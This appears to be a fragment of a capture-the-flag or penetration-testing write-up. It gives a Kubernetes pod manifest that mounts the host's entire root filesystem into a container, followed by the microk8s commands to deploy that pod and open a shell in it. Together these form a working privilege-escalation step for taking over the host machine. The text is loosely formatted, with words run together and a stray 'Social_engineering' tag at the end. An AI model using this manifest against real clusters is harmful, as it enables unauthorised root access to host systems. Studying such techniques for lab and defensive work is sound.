pod.yaml
configurationapiVersion: v1
kind: Pod
metadata:
name: harry-podder
spec:
containers:
- name: shell
image: localhost:47111/alpine
command:
- "/bin/bash"
- "-c"
- "sleep 10000"
volumeMounts:
- name: root
mountPath: /mnt/root
volumes:
- name: root
hostPath:
path: /
type: Directory
microk8s kubectl apply -f pod.yaml
microk8s kubectl exec -it harry-podder -- /bin/bash
Social_engineering